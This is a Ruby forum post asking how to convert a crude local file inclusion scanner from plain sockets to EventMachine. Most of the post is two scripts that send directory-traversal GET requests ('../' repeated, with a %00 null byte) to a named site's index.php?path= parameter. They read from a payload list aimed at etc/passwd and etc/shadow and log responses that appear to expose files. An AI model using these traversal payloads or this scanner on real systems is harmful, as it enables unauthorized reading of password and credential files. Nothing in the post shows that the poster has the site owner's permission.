From 'socket' to 'eventmachine' http client

im working on a vulnerability scanner, basically a http client… i have
a working script that only uses ‘socket’ but if i was using eventmachine
i would get better performance…

[working-script]
require ‘socket’
my_file = File.new(“log.txt”, ‘w’)
html = File.new(“log.html”,“w”)
IO.foreach(“list.lfi”) do |block|
host = ‘www.i8igmac.com’ # The web server
port = 80 # Default HTTP port
dir = “…/”
mply=0
while mply < 10

This is the HTTP request we send to fetch a file

request = “GET /index.php?path=#{dir*mply}#{block.chomp}%00
HTTP/1.1\r\n”
socket = TCPSocket.open(host,port) # Connect to server
socket.print(request+“Host: “+host+”\r\n\r\n”) # Send
request
response = socket.read # Read complete response

Split response at first blank line into headers and body

headers,body = response.split("\r\n\r\n", 2)
print request
#print body # And display it
check=body.scan(“error”)

mply=mply+1

if check.to_s == “error”
print ‘no inclusion’
else
print ‘Please notify site owner of exploit\n’+request
my_file.puts request
html.puts request
html.puts body.tr(“www.”, “www”)

end
end
end
[working-script-end]

[list.lfi-----]
etc/passwd
etc/shadow
etc/cgi-bin
etc/group
etc/security/group
[end.list-----]

this script reads each line from the list then sends out a GET request,
if a config file is found viewable to the public then this will be
logged…

this script does not handle any kind of protocal, its more of a crude
ruff draft… if i could get eventmachine to handle the protocall
performance would increase and script wouldnt crash…

here is my attempt to use eventmachine…

[em-code]
require ‘rubygems’
require ‘eventmachine’
my_file = File.new(“log.txt”, ‘w’)
html = File.new(“out.htm”,“w”)
IO.foreach(“list.lfi”) do |block|
lfihost = ‘www.i8igmac.com’ # The web server
port = 80 # Default HTTP port
dir = “…/”
mply=0
while mply < 10
request = “GET /index.php?path=#{dir*mply}#{block.chomp}%00
HTTP/1.1\r\n”

module DumbHttpClient
def post_init
print request
send_data request
@data = “”
@parsed = false
end

def receive_data data
@data << data
headers,body = data.split("\r\n\r\n", 2)
print data
EventMachine::stop_event_loop
end

end
EventMachine::run {
EventMachine::connect “www.i8igmac.com”, 80, DumbHttpClient
}
puts “The event loop has ended”

print request
#print body # And display it
check=body.scan(“error”)
mply=mply+1
if check.to_s == “error”
print ‘no inclusion’
else
print ‘FOUND ONE\n’+request
my_file.puts request
html.puts request
html.puts body.tr(“www.”, “www”)
end
end
end
[em-end]

any one with eventmachine expearnce could give me some help… i dont
understand why strings wont exist inside the function… clueless at this
point

This forum is not affiliated to the Ruby language, Ruby on Rails framework, nor any Ruby applications discussed here.

| Privacy Policy | Terms of Service | Remote Ruby Jobs